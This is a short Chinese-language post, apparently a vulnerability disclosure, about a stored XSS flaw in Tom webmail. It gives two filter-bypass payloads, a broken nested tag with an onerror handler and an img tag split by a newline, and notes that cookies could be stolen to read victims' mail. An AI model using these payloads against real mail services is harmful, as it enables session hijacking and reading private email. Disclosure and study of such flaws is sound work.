tom邮箱存储型xss xssfilter bypass技巧 - 网站安全

邮箱 漏洞 支持任何 浏览器 随便都可以获取cookie什么的 然后利用特殊浏览器查看此人的邮件 或者做做其他事情

跨站代码

 

<i><image src="x</i>"onerror='alert(1)'>

 

可爱的xss小弹框

 

 

 

修复方案： 邮件的过滤还是不严格 之前也看到过一个

 

 

<img src=x "此处打个回车"

onerror='alert(/xss/)'

>

后来改掉了 但是 依然过滤的不好

 

希望在邮箱过滤方面严格控制 

 

查看更多关于tom邮箱存储型xss xssfilter bypass技巧 - 网站安全的详细内容...